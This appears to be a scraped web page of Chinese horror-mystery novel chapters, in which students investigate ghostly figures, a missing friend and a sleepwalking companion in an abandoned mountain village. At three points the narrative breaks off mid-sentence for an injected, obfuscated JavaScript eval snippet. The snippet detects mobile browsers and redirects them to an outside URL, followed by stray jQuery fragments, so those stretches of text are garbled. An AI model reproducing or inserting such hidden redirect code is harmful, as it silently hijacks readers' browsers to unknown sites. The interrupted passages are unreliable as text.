一件很重要的事。 裴桐呼唤她的名字,将她唤醒。 “怎么了?” 第五页抬头,盯着他的嘴巴,片刻,无意识地将自己的猜测说出来,“我觉得昨天晚上我听到的开门声,并不是华悠悠开门出去的声音,而是有人推门进来的声音。” 裴桐眉头一耸,“什么意思?” 第五页拉着他到了一个角落,摩挲着手中的匕首,缓缓道,“其实我一直感觉有点不对劲,但又说不清哪里不对劲……” “你还记得我们进到这个村子里的有几个?都有谁吗?”她看着他问。 裴桐不明白她为什么会发出这样的疑问,但还是按照自己认为的回答她,“五个,你,我,华悠悠,曹永朝,还有宋英杰。有什么问题吗?” “可是如果只有我们五个,那我们是怎么进来的?” 回忆到这里,裴桐停顿了一下,似乎也不太确定,“开车?我们在石阳县待了很久,没有人愿意带我们进山,最后大家租了一辆车,尝试着进山。曹永朝带路,误打误撞找到这个荒村?” “你忘了我们的身份都是学生,虽说我们当中有人会开车并拥有一些野外生存的知识,但对这里来说完全就是外乡人,不熟悉这里的地形,没有人带领,我们五个人就真的敢这么进山?” 裴桐不说话,像是也反应过来了她说的不对劲,但为什么之前他们没有一个人察觉这种不对劲? 第五页摩挲着手中的木质匕首,话锋一转,提了另一件毫不相关的事,“我刚刚想起来,昨晚我醒的时候,摸华悠悠的被窝是凉的。” 裴桐看着第五页,登时明白了她的意思。 如果她醒来后听到的堂屋开门声是华悠悠的,那被窝就不可能这么凉。只能说明华悠悠在她早醒来前就出去了。 而他刚刚在堂屋捡到的这把木质匕首,是不是也可以表示昨晚有第二个人进来过? 这个人是谁?他们认识吗? 为什么他俩昨晚都没看到过什么人影? 不对,第五页在刚开门追出去的时候,有在门口看到一道黑影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080234|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在想想在他们看不到的地方,当时那道黑影是不是进了屋子? 第五页张了张嘴,将两人心中的答案说了出来,“我觉得……我们好像忘了什么人或事。” 至于那个人是谁。 他们没有答案。 在这个村子彻底暗下去之前,他们五个人在土房里支了个小桌子,一起吃了晚饭。 饭桌上,第五页和华悠悠将她们在村子里找到的东西,以及前者刚才和裴桐的想法跟其他人讨论了下。 其他人都对第五页说的东西表示惊讶,但确实也没有什么话能够反驳。 只能够确定的是,这个村子确实有些不对劲,不止在它的地理位置和荒芜人烟上。 这个村子,或者说这个地方,似乎在慢慢吃掉他们某一部分。 曹永朝则和她们分享了他们三个男生今天去山上找寻出路发生的事。 情理之中的没有找到出去的路,四面的山太过险峻,他们绕了半圈,悬崖峭壁,连草木都不曾光顾,更别说人类在上面攀爬。 回来的路上,他们还遇见鬼打墙。 山里雨后雾气大,没找到他们进山一路上做的标记,误打误撞闯进一片坟区。 十几个黄土包毫无规律地堆砌,藏在山坡后,树底下,石头后。还看到一个被挖开的坟包,周边的泥土都是新鲜的,看起来像是昨晚上被泥水冲下山的黑棺原本埋的地方。 眼见山里的天越来越黑,他们三个转了几圈转不出去,脑袋直发懵,最后还是裴桐认得一些些路,把他们了带出去。 一天下来,没找到有用的东西,一直在村子里打转的他们士气有些低下。 直到睡着前,没再进行别的交谈,各自怀着心思回房睡去。 深夜,村子里再次静下来。 第五页睁眼醒来,穿衣下床,出去前瞥了眼床上还在沉睡的华悠悠,迟疑半秒后,留了张字条。 离开房间掩上门,她又在堂屋等了一会,没过多久,宋英杰他们那个房间同样传来开门声。 裴桐拿着手电筒从暗处走了出来。 来到她身边,说了句,“走吧。” 第五页没什么惊讶神色地点点头,像是早就和他商量好了今晚的夜游,怀中掏出同款手电筒,一前一后悄声离开这座土房。 自从昨天晚上在荒村里看到那一队黑色的影子后,第五页便一直惦记着晚上再出来一次。 下午吃过饭,她跟裴桐提了一嘴,两人一拍即合,决定今天晚上再出来看看。 只是因为这件事涉及到他们的私事,他们并没有跟宋英杰他们提。 离开土房,深夜的荒村一下子变得清晰起来。 今晚没有昨晚那么静,声音偶尔会从角落飘出,远处的流水,屋后的鸡鸣,还有各种小动物在暗处快速跑动的声音,仿佛在诉说他们还在原来的世界。 天上没有月亮,冷冷清清的。 第五页抬头感受了下,发现脸上有凉凉沙沙的感觉。 此刻似乎在下雨,只是下的太小了。 身后裴桐关上门出来,打开手电筒,冰冷的白光在荒村上下晃了一圈,途中经过的地方照出雨丝的纹路。 “下雨了?”他疑问。 第五页收回脸,低低地嗯了声。 裴桐沉默一秒,随后去屋后找了两身蓑衣出来。 两人默契穿上,他又接着问,“想好去哪里找那些影子了吗?” 15. 第十四章:夜游 说实话,并没有。 到目前为止,第五页两次发现影队都是在意外的情况下。 对比两次发现的时机,她并没有找到什么特别的规律,只能浅浅得出一个那些鬼影或许更喜欢在晚上出没这个结论。 如果她想知道更多关于这个荒村的东西,就必须近距离接触一下那些鬼影。 他们究竟是什么东西? 是人吗?还是山精鬼怪? 不知是不是第五页的错觉,她总觉得进山后那些鬼影就一直跟着他们,从深山到荒村。 还有,白天她和裴桐讨论的,关于他们遗忘的东西究竟是什么? 第五页有预感,当她知道影队的秘密后,这一切的问题都会全部迎刃而解。 想着,她闭了闭眼睛,片刻后又睁开,同时打开自己的手电筒,往荒村的下方照去。 昨天她是在进山的水潭附近发现的影队,虽然不知道那些鬼影在村子和深山里游荡究竟是在寻找什么,但她想可以先从最近的地方找找线索。 于是开口,“先去进村的水潭附近看看吧。” 裴桐没有异议。 两人一前一后,往荒村下方走去。 或许是经历了昨晚怪异的事,知晓这个村子本身有些不同寻常,今天晚上两人再次出来,精神都有些紧绷。 一路上他们没有说话。 而第五页还在心心念念地寻找那些鬼影的踪迹,眼睛随时注意着周围的动静,一分一秒不想分神。 所以对于身边裴桐她只能依靠他胶鞋磕在青石板上发出的声音判断他还在身边,两人来到水潭附近,仔仔细细搜查一番。 这里还是白天的模样,没什么太大的变化。 就连第五页昨晚跌进去的那条小溪也是一样的窄,两边河岸上的植被茂盛。 第五页想起白天华悠悠跟她在这里说的话,如果昨天晚上她真的去的是这个村子的过去,那她该怎么再次触发这个契机呢? 她站在白天站过的石头上,幽黑的眸子盯着脚下的溪水,手电筒的光在水面上晃了晃,反射出波光在她眼底不断闪动。 裴桐从她身后走来,对她摇了摇头,“没有发现什么异常。” 第五页有些挫败,泄了口气。 只能放弃探查这边,先去和裴桐查看水潭那方。 水潭倒是比他们之前看到的大不少,水面黑幽幽的探不到底。 第五页猜测或许是白天的雨水让这潭水又开始上涨了。 也不知道他们进来的那条山洞还在不在,多半是被淹了,那船肯定也够呛。 没有船,后面哪怕洞里的水位再降下去,他们也没办法凭靠双手双脚游回去,从现在开始离开荒村只能再想其他办法。对于这个结果第五页倒是不意外。 只是对于水潭深处第五页还有其他顾虑,她还没忘记跟其他人从水底游过来时,缠住她脚腕的几缕发丝。以及山洞里那几幅壁画,还有那句莫名其妙的话。 活着的人会从坟里爬出来? 这活着的人到底指什么?活死人吗?僵尸还是鬼影?坟又指什么? 到现在,第五页也没理出全部头绪。 她想或许这句话是一篇文章里截取的一小句,要想知道全部意思。可能还得去固定的语境里理解,现在思考没什么太大的意义。 她瞥了眼水潭,再用手电筒光在附近扫视一圈,没发现什么其他东西。 最后看向深不见底的水潭,思考要不要下水去看看。 昨晚影队是从水底里爬出来的,缠住她脚腕的“水草”也在水潭深处,这水底下肯定有东西。 只是没等她做下决定,旁边裴桐像是跟她心有灵犀似的,瞬间看穿她的想法,先一步开口对她说:“我下去看看吧,你在岸上等着。” 第五页抬头看他,倒是没跟他过多拉扯,犹豫半秒便接受了他这个提议。 毕竟裴桐本身水性就比她好不少,而她身体还有其他毛病,下去如果出意外,她求生的希望会比裴桐小上好几倍。 不过为了他的安全,第五页还是沉声音嘱咐,“注意安全,不要逞强,两分钟内必须上来。” 裴桐没说什么,只是朝她点了点头。 然后脱去蓑衣,做好热身准备工作。 然而就在他刚准备下水时,忽然周围一静,像是全部的声音被吸走。 第五页感受到什么,连忙抓住裴桐准备下水的衣角,眉毛轻蹙,“等等,好像有什么不对劲。” 后者身体一顿,疑惑地看向她。 她闭上嘴,抿了抿唇,静静听了一会,什么动静也没听到。 但她刚刚明明心脏像是被电了一下,一阵心悸,熟悉的感觉就像是回到了昨天晚上。 第五页说不清周围有什么变了,但肯定有什么不对劲的地方。 吞咽口水,关掉她和裴桐手中的手电筒。 周围陷入黑暗,两人适应了一会,眼睛才慢慢能够视物。 忽然,第五页心猛地一抽,她压低声音,“嘘,有什么东西来了。” 说完快速拉着裴桐离开这块地方,在暗处找了个草丛躲起来。 他们压低身子,眼睛紧紧盯着水潭那方,时间一分一秒地过去。 过了很长时间,久到他俩的腿快要蹲麻,就连第五页自己都要怀疑她是不是出现幻觉了时。 登时,微弱的光线下,原本平静的水潭表面突然开始波动,从水潭中心开始,一层一层,像是花一样的波浪向两边拨开,往岸边撞去。 半秒过后,一个又一个潮湿的人影从水底手脚并用地爬了出来。 它们身体细且长,身上挂着湿哒哒单薄的衣物,看不见裸露出来的手脸部分。 带着水汽的霉味,从第一个鬼影爬出来的时候,便以它们为中心自发地向外扩散开来。 一个、两个、三个……二十个、二十一个、二十二个。 “多了一个。”第五页低声自言自语。 他们现在的位置,离那鬼影队伍有些距离,虽不清楚那些鬼影有没有远距离听声音的能力,但它们确实没对刚刚第五页小声说话做出反应,只是平静地往村子的方向走去。 裴桐用余光看了眼旁边的第五页,蹙起眉头,低声询问,“什么多了一个?” 第五页盯着那方鬼影队伍的最后一个影子,沉声解释,“鬼影数量,昨天我遇到这群影队的数量是二十一个,但刚刚又数了一遍却是二十二个。” 她百分之百确定自己没有数错,那就是这条鬼影队伍确实多了一个。 为什么只过了一天就多了一个鬼影?这个鬼影是谁? 她心中的疑问越来越多。 片刻,盯着前方的鬼影队伍,她突然抓上旁边裴桐的手腕,厉声道,“走,我们跟上去看看。” 话落,黑暗中两道身影猫起身子,压低脚步声,掩盖气息,悄声追了上去。 不知是他们真的隐藏得太好,还是那群鬼影太过迟钝,他们竟然就真的这样不远不近地跟着鬼影队伍回到荒村。 直到他们回到村子里才发现,不知何时村子里又起了和昨天晚上一样的白雾。担心再次有人走丢,这次第五页并没有贸然行动,而是无论去到哪里,都紧紧扣住旁边裴桐的手腕。 而大雾的原因,前面的鬼影队伍也开始变得若隐若现,他们只能不断压低声音,紧紧跟随,连呼吸都放缓。 跟得久了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084085|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们发现前面那群鬼影走路的时候根本没有声音,而且明明它们前不久才从水里爬出来,但当第五页和裴桐走到那群鬼影经过的地方时,却发现地上连个水脚印都没留下,甚至走过的地方连草压弯的痕迹都没有。 出来的越久,身体越冷。白天洗过的衣服没有干,其他衣服在那房子放的久了后,染上一股潮意,此刻慢慢浸入身体。 第五页下意识搓搓手臂,眼神却不敢离开前方鬼影队伍分毫,突然间察觉有人捏了捏她的手腕。 她转头看向裴桐。 后者不知什么时候脱了外套只留下一件单薄的短袖,冷着脸将外套塞到她手中。 第五页垂头看看手中的外套,又抬头看他。 许久没做过这种事,裴桐有些不自然地避开视线。 不知为什么,第五页觉得他这个样子挺好玩的,噗嗤一声,抿嘴笑了。 刚才紧绷的气氛瞬间消散。 裴桐避开她的眼神,又捏了把她的手腕,带着点温吞的生气意味,“别笑了,前方又开始动了。” 第五页这才慢慢收起笑意,但嘴角并没有完全压下去,穿上他递来的衣服,跟他再次追了上去。 这个夜晚,他们跟着从水地里爬出来的鬼影队伍在村子里转了很久,久到他们快要分不清东南西北。 天色转白,有变亮的迹象。 白雾似乎也在慢慢散去。 等他们能够完全看清身处哪里时,发现已经离开了村子,正在通往后山的一条泥泞小路上。 追了一晚上,两人的体力都有些不支。 第五页站在一个小山坡边,旁边是棵快要枯死的老树,风带走她额头上的汗珠。 往下看是云雾散去的荒村,往上看已经瞧不见鬼影队伍的影子。 还在犹豫追不追上去,旁边裴桐突然先一步拦住她,“不用追了,我知道这条路通向哪里。” 她看着他疑惑出声,“什么?” 没等他回答她又瞬间反应过来,“这上面是你们昨天白天迷失的那片坟坡吗?” 裴桐看着她颔首。 于是第五页停下动作,片刻后,抬头看了眼已经微微泛起白光的天空,叹气,“算了,天快亮了,我们回去吧。” 话落,两人稍作休整,往山下走去。 回到荒村,夜晚村子里升起的雾气,此刻已全部消失。 早晨的村庄带着被水清洗过后的透亮,空气中除了潮湿的霉味,还有雨露和草香。 他们回到集合的土房,趁宋英杰他们还没醒来,互相道别,各回各房间。 然而等第五页推开她和华悠悠的房间门时,却发现床上空无一人,心狠狠空了一拍。 她在房间内看了圈,又摸了摸床上的被褥,是凉的。 转身快步走了出去。 裴桐还没回房,刚准备打开房门进去。 回头又见她出来,蹙眉轻问,“怎么了?” 第五页语速飞快,“华悠悠又不见了。” 已经是第二次消失,虽然知道没希望,但他们还是快速走出房子,在房子周围,村子里大喊了几声华悠悠的名字。 屋子里,曹永朝和和宋英杰先后被他俩的声音吵醒,前者揉着眼睛,打着哈欠走了出来,“啊哈~你们俩这一大早的在喊什么呢?又有人不见了吗?” 说完,没听见有人回答他。 揉开惺忪的眼睛,只瞧见他俩阴沉的脸色,曹永朝便瞬间明白发生了什么,没忍住爆了粗口,“我靠!真的啊?又来?” 里面宋英杰听到外面他们说的话,也快步出来,眉头紧锁,“华悠悠又不见了吗?” 这一次,第五页点了点头。 16. 第十五章:消失 距离华悠悠失踪已经过去十几个小时,荒村天光大亮。 第五页等人在村子里翻了个遍,几乎翻找了这个村子每一个房子,每一寸地皮。 甚至曹永朝还下了一趟水,潜入他们进村的那个水潭,可惜没找到山洞,也没看见华悠悠的影子。 他们找了很久,一直找到一天的时间快要过去。 失踪许久的华悠悠终于回来了。 第五页是在住的土房门口碰见她的,对方从荒村上方的小路下来。 整个人状态差得不行,身上像是在泥地里滚过一样,没一处干净的地方,走路摇晃晃,仿佛能随时一头栽进旁边的水沟里。 远远瞧见人影,她大声唤了下她的名,“华悠悠!” 以平生最快的速度跑过去接住她。 华悠悠眼皮一闭一掀,好似还没睡醒,呢喃般抬头回应她,“叶子。” 第五页皱紧的眉毛就没松开过,忙问道,“这是怎么回事?你去哪了?” 在她身上压了一会的华悠悠像是又突然清醒过来,缓缓站直身子,打了个哈欠,“好累,我好困啊叶子,你让我回去睡一下好不好。”边说着边继续摇摇晃晃往他们住的那间土房走去。 没办法,第五页只能回着她先回了房子。 回到土房内,华悠悠更是一句话没说,便推开房门,连被子都没来得及盖,翻身上床,两眼一闭睡了过去。 第五页担忧地在床边转了许久,还小心翼翼地上前探了探她的鼻息,好在呼吸是平稳的,她真的只是睡了过去。 这么说,她真的只是累了? 这孩子一晚上到底去干什么了?怎么浑身这么脏? 同时,屋外传来动静。 是宋英杰他们回来了。 他们在荒村的另一边听见她的喊声,以最快的速度回来,踏进堂屋,便看见第五页从房间里出来,焦急忙问,“华悠悠回来了?” 第五页点了点头,冷着脸,“嗯,回来了。” “这一晚上她到底去哪了?怎么不出来?是受伤了吗?”曹永朝跟在后面问。 她回忆了下刚才华悠悠的全身的样子,又摇摇头,“没有受伤。但她身上很脏,像是在泥地里滚过一样,嘴里喊着好困好累,一回房间倒头就睡了,我还没来得及问她。” 裴桐问:“你是在哪里遇见的她?” “就是门口那条路。”第五页答:“我看见她从上面下来,走路也摇摇晃晃的。” 宋英杰敛了敛眉,“我记得那条路通往荒村后面的山。华悠悠消失了一整个晚上和半个白天就是进山了?”带着点不太确定。 曹永朝抓了抓脑袋,不明白他们在说什么,“你们在说什么啊?什么进山?我怎么有点糊涂?” “华悠悠大晚上不睡觉进山干什么?”疑惑的眼神在他们之间扫来扫去。 第五页抿了抿唇回答他,“这就要等华悠悠醒后再问她了。” “不过看样子她像是在山里走了一整个晚上,现在是拼着最后一点念头回到的荒村,困得不行,还是让她好好补一觉吧。” 其他人默认了她的想法,接下来的时间就是等华悠悠醒来。 或许等到她醒来,他们心中一切的谜题便能迎刃而解。 然而这一等,就从白天等到了晚上。 害怕队伍里再有人莫名其妙地消失,宋英杰作为社团社长,安排队伍的其他人开始轮流守夜,两个人一支队伍。 宋英杰和曹永朝守前半夜,第五页和裴桐守后半夜。 睡觉前,她又去看了眼华悠悠。 对方还是睡得很沉的样子,轻声唤她,也只是半梦半醒地呢喃说好累。 第五页只能趁她醒神片刻,快速帮她换掉身上的脏衣服,拿来取暖的衣物,还看对方嘴唇干裂,拿来棉签蘸点水抹了抹。 晚上,第五页并没有睡太久,心里想着事,睡眠很浅,很快被一阵轻叩的敲门声吵醒。 迅速起身,下床看了眼华悠悠,随后过去开门。 门外站着裴桐。 后者看着她平静说:“宋英杰和曹永朝已经回去睡了。华悠悠怎么样?” 她偏头看了眼屋内,叹气,“还是那样。” 转头看他,“走,出去说吧。” 说完离开房间,掩上门。 两人在堂屋找了个位置,大门虚掩着,偶尔会有凉风透进来。 守夜是很无聊的事,第五页跟裴桐聊了下下午到晚上华悠悠的情况,还是没分析出个所以然。 而裴桐也不是个话多的性子,两人就这么安静地坐着。 直到第五页坐的那个地方不知是漏风还是怎么的,背部总感觉有一股寒意吹来,坐得久了不自觉地打两个哆嗦,咳嗽两声。 旁边裴桐听见她咳嗽,脸色立马就变了。 起身,悄声回了房间,出来时手中还拿着那个熟悉的保温杯,递给她,声音带着不容拒绝的强硬,“喝药。” 第五页这次没有过多跟他打浑,本身也觉得身体有些不舒服,平静地说了声谢谢,然后接过保温杯,喝了药。 见她喝完药,裴桐像是忽然想到了什么,冷声说了句,“等等,我给你看个东西。” 说完便拉开堂屋大门出去,绕到房子后边,悉悉索索,不知在翻找着什么。 片刻后,搬了个膝盖高的烧火炉回来。 还有几根沾染上潮意霉菌的手腕粗的短木柴。 瞧见那烧火炉,第五页登时眼睛一亮,“这火炉……跟我家姥姥那个好像。” 看见熟悉的老物件,她的思绪也像是被拉到了过去。 第五页初中以前和姥姥一起在乡下生活,各种下河摸鱼、上树掏鸟蛋,养成了天不怕地不怕肆无忌惮的性格。初中的时候,被父母接到县城,和裴桐做起了邻居,上同一所初中、高中。 而因为她的胆子太大,各种招惹祸事,父母不求她成绩有多好,只求她能世俗意义上的安生一点,所以经常安排她和裴桐俩小孩待在一起。 然而这反而给了第五页春心萌动的机会,高中的时候少女心作祟,再加上裴桐本身也有一副还算好看的皮囊。 学习好,长得好。 她觉得如果裴桐做她的男友的话,应该不会太丢面子,于是开启了长达一年的穷追猛打,直到高中毕业两人才正式在一起。 至于他们关于这炉子的共同记忆,第五页还记得那是高三的时候,寒假前的一个月考,她由于那一个月每天晚上忙着打游戏,最后成绩出来的时候,不出意外是差强人意。 拿到成绩,她不敢回家,一直在外面逛到天黑。 最后是裴桐在车站找到的她,他问她为什么不回家,她什么话也不说,直到一辆大巴停在两人面前。 第五页忽然猛地抓住他的手腕,将他拽上了车。 两人就这样乘坐着这辆大巴车,摇摇晃晃回到了乡下她姥姥家。 那个晚上,第五页姥姥刚从村子里某家吃完酒席回来,路过村口的时候,瞧见他俩从车上下来又是生气又是高兴,边数落着边把他们带回去,给双方父母打电话。 那个夜晚,第五页姥姥也是翻出这样一个烤火炉,将炉子里的炉灰倒掉一半,边烧火边给他俩一人烤了一个红薯,同时炉子上方还压上铁网,烤焦了两个糍粑,香香的、烫烫的,捧在手间。两小孩光顾着吃,都没时间说话。 后来回去,第五页自然是被狠狠数落了一通,不过在高三的最后阶段,她还是凭靠着边补课边努力学习,最后和裴桐考上了同一所大学。 现实中,瞧见她也认出这个炉子。 裴桐脸上稍稍带上笑意,说:“这个炉子是我在房子后边找到的,就是好像很久没人用里面都生锈了,还有厚厚的一层炉灰,我刚倒掉一半,可惜没在村子里找到野生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086540|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地瓜。” 边说着边将手中的东西放到堂屋两人中间。 第五页兴奋地围着他,看他把烧火炉搬进来,然后接过他手中的两根潮湿木柴,怀疑地晃了晃,“这个烧得燃吗?” “不清楚,试试吧。”裴桐摇摇头,也不确定地说。 于是两人打开堂屋大门,拿了一小撮引火的东西,就这么围着烧火炉尝试将潮湿木柴点燃。 他们一共试了三次,最后一次里面才隐隐有烧起来的迹象,此时距离他们把烧火炉搬进来已经过了一个多小时,两人的手指冻得有些发麻。 不过见火烧起来,他们脸上又不自觉地漫上喜色,两双又红又脏的手小心翼翼地贴近有微弱暖意的炉口。 第五页和裴桐交换眼神,两人都不自觉地想到他们当初在乡下姥姥家待的那个夜晚,也是这样坐了好久的车,手指都冻麻了。 姥姥把他们带回去,支起烧火炉。 他们就这样围坐在火炉边,拼命汲取温暖。 那时候第五页也是像现在这样笑着,没心没肺地露出一口白牙,仿佛遇到什么事也不会害怕。 见她笑,裴桐跟着弯了弯唇。 第五页知道他是跟自己一样想到了什么时候,笑着说:“真是不知道那时候我怎么想的。要说我胆子大的话,成绩没考好居然不敢回家,要说我胆子小,却又敢拽着你一路坐车跑到我姥姥家。” 裴桐想说,你一定是胆子大,不然也不敢跑到这鸟不拉屎的地方来,不过他最终还是什么都没说,只是静静地看着她。 像是突然想起什么来,第五页眼中微弱的火光闪了闪,“对了,你那时候怎么会就任由我拽着走啊?” 按理来说,那个时候高三,裴桐已经长得很高了。虽然第五页本身力气不小,但挣脱她的拉扯应该是很容易的事。 想到这,她像是现在才恍然,眯了眯眼睛,略带挑逗意味地看向他,“难道我之前追你那么久,其实你在那个时候就对我动心了,想借着这个由头跟我私奔?” 不知是被她的话逗笑,还是默认她的想法,裴桐唇角带上弧度,坦荡又遮掩道,“可能吧。” 第五页撇了撇嘴。 没从他嘴里撬出答案,她也不泄气,反而将注意力全部转回到烧火炉上,潮湿的木头烧起来还是太费劲了,需要人不停地往里面灌输空气,否则会有烟飘出来。 她从房间角落搜罗出一把破旧扇子,轻轻地在火炉边摇着。 但扇了几下都不得劲,反而将更多的烟雾扇了出来。 裴桐坐在她对面,握拳咳嗽两声。 哑着声音说:“我来吧。”自然而然地接过她手中的扇子。 于是第五页又把这活心安理得地转交给了他。 或许是这样的气氛太过适合谈心,他们也很久没有向对方说过自己最近内心的想法。 扇了一会,裴桐突然冷不丁问道,“等你在这个村子找到你想要的东西,并且出去后有什么想做的吗?” 第五页看他,突然乐了,打趣说:“你这话听起来怎么像让我立电影里临死前的flag啊。” 笑了两声后,正经又不正经地答:“我是没什么想做的,等找到东西和出去再说吧。” “你呢?你想做什么吗?”余光瞥了下他。 “我想……”扇着扇着,裴桐瞳孔忽地出神,直到呛人的烟雾熏到眼睛,才继续缓慢又轻声道,“我想……如果你想分手的话,一定要提前告诉我。” 第五页脸上的笑猛地一停,有点没听清他说的话。 脑袋像是一瞬间空掉,站在一个空荡荡的房间里,大声喊要隔许久才能听到她的回声。 她想抬头问他这是什么意思。 一抬头,却只看见对方一脸严肃地望向她背后。 她顺着对方的眼神回头,瞧见双眼无神的曹永朝不知何时无声地贴着她的脊背。 17. 第十六章:挖坟 裴桐一把将愣住的第五页从椅子上拽起来,同时冷声喊了下曹永朝的名字。 后者还是那样一动不动地站在原地,眼睛半睁,双目无神。 第五页有些缓过劲来了,走到曹永朝的身边,伸手在他眼前挥了挥,疑惑道,“梦游?” 裴桐在她身后答,“好像是。” 又继续对她说:“你去把华悠悠和宋英杰叫醒,我在这里看着他。” 她转身朝他点了点头,随后动作迅速地先去敲了宋英杰他们房间的门,将他叫醒,接着又跑回她自己的房间,边唤华悠悠的名字边推搡床上的人。 很快,床上的人迷迷糊糊转醒,边揉脸边一脸迷茫地问了几句什么。 第五页见华悠悠终于不再喊好困好累,扶着她道,“先起来,出事了。” 说完动作利落地帮她穿好衣服,和她一起出去。 五个人齐聚堂屋,只是其中一个现处于梦游状态。 在刚刚第五页去喊华悠悠的这段时间,梦游中的曹永朝竟又变了位置,自顾自地挪到了门边,想要将门打开出去,而旁边裴桐为了阻止他,一直将门紧紧按着。 宋英杰醒来出来瞧见这幅场景也很是懵逼,快步跑到曹永朝身边转了圈,问旁边的裴桐,“他这是怎么了?” 裴桐说:“应该是梦游。” “好端端的怎么开始梦游了?”宋英杰惊声道。 裴桐摇头,然后转头看向第五页,问她,“要叫醒他吗?” 后者还在思考,摸了把下巴,然后上前用手指戳了戳曹永朝的手臂,对方随着她的戳动小幅度摇晃,并没有突然醒来,随后像是自言自语又像是疑问,“曹永朝应该没跟你们说过他有梦游的情况吧?” 宋英杰肯定的语气回答她,“没有。” 接着,她又低头看向曹永朝的腿,后者此时正不断做出抬腿的动作,像是要走出去,只是手上没能把门打开,裴桐一直按着,他便不停原地踏步。 第五页呢喃,“他现在这个样子像是要出去啊,出去干什么……” 说完又像是想到什么,转头看两边的人,“……大晚上的出去?这种情况是不是很眼熟?” 话落,三个人心中不约而同地浮现出一个人。 接着同时转头看向所有人身后的华悠悠。 华悠悠刚醒来还有点没回过神,见所有人看她,肩膀一抖,有点状况外地张了张嘴,“怎么了?我脸上是有什么东西吗?你们为什么都看我?” 一句两句解释不清楚。 他们又收回视线。 裴桐看了眼其他人,说:“把他放出去吧,我们跟上去看看,说不定能知道他到底想去什么地方,有我们一群人在旁边也能防止他遇见危险。” 说完,众人沉默了一会。 最终还是执行了他的方法。 于是,深夜,宋英杰带着队伍里的其他人,跟着梦游的曹永朝离开了土房。 四个醒着的人,和一个处于深睡中的人,顺着村子里的青石小路,慢慢往荒村后面的山上走去。 五个人的影子慢慢隐匿于黑暗中。 第五页心里想着事,落到队伍最后方。 最前方是宋英杰和裴桐,在好好护着不断前进的梦游的曹永朝。 华悠悠跟在他们侧边走了一会,拿着急匆匆带出来的相机对着曹永朝的背影拍了几张照后,忽然慢下步子,来到第五页身边,疑惑问她,“他怎么了?” 用眼神示意队伍最前方。 华悠悠消失一整个晚上和半个白天,回来以后又睡了一个下午,是五个人当中知道的情况最少的。 第五页以为她是问曹永朝怎么了?为什么会这样? 便将前天晚上她失踪,白天他们找她,下午在村子里遇见脏兮兮,累得只想睡觉的她,还有夜晚轮流守夜突然看到曹永朝梦游的事,仔仔细细说了遍。 谁知当她把所有事情告诉她后,华悠悠依旧不理解地摸了摸脸,不确定道,“所以这就是裴桐哭的原因吗?” 第五页怔愣半秒。 哭?谁?裴桐哭了吗? 看她这幅表情,像是也才知道这件事。 华悠悠犹豫了下,看了眼前方的人,然后凑到她耳边小声说:“我刚走他俩后面,余光里看见裴桐好像眼眶有点红,现在你俩走路又分开这么远,所以你们刚才是在轮流守夜的时候吵架了吗?吵了什么?裴桐居然哭了?” 毕竟在华悠悠印象里,裴桐一直是那种冷冷的性格,社团里几乎很少有人敢跟他搭话,唯有跟第五页说话的时候,脸色才会稍稍好些,看起来有点人情味。 而第五页脑海中还回荡着刚才华悠悠说的第一句话。 裴桐眼眶有点红,他真的哭了? 接着又听到她说轮流守夜吵架,她便联想到刚才曹永朝梦游出来之前,两人戛然而止的对话。 那算吵架吗? 不是他先说分手的事?她都没说什么,他居然先哭了。 第五页有些生气,又不知道在气些什么。 掀眼皮,看见前方裴桐的背影,更是气上心头,恶狠狠地转过脑袋,不再看他。 瞧她这副样子,华悠悠便知道他俩是真的吵架了,默契地闭上嘴,不再说话。 这个夜晚,他们四个人跟着梦游的曹永朝一路往山上走去。 离开荒村,周围的东西从土房换成了高耸的树。山里的树不像城里的树那样有人修剪照看,肆意生长,什么样的都有,光线扫过,一棵接着一棵,歪歪扭扭活像山间鬼影。 进山后,世界变得更暗,连他们手电筒的光都照不了太远的地方。 再加上周围来来去去都是相同的树林,没过多久,他们便在山里迷失了方向。 不知走了多久,等走到每个人的头上都冒出细密的汗珠时,前方的曹永朝终于在一块稍稍有点坡度的小山坡上停了下来,一侧是拥挤的长在一起的树。 然后突然埋头跳进一处灌木丛,弯腰在里面摸索什么,半晌终于摸到一个生锈的锄头,手脚并用地扛着锄头爬出来。 华悠悠的手电筒光照在曹永朝身上,瞧见他这一连串让人摸不清头脑又有点诡异的动作,再联想到刚才第五页跟她说的事,她之前晚上消失很有可能和现在的曹永朝做过相同的事,顿时感觉脊背一阵发凉,咽了咽口水,轻声疑惑道,“他这是在干什么?” 第五页在旁边摇头,同样放轻声音回答,“不知道。” 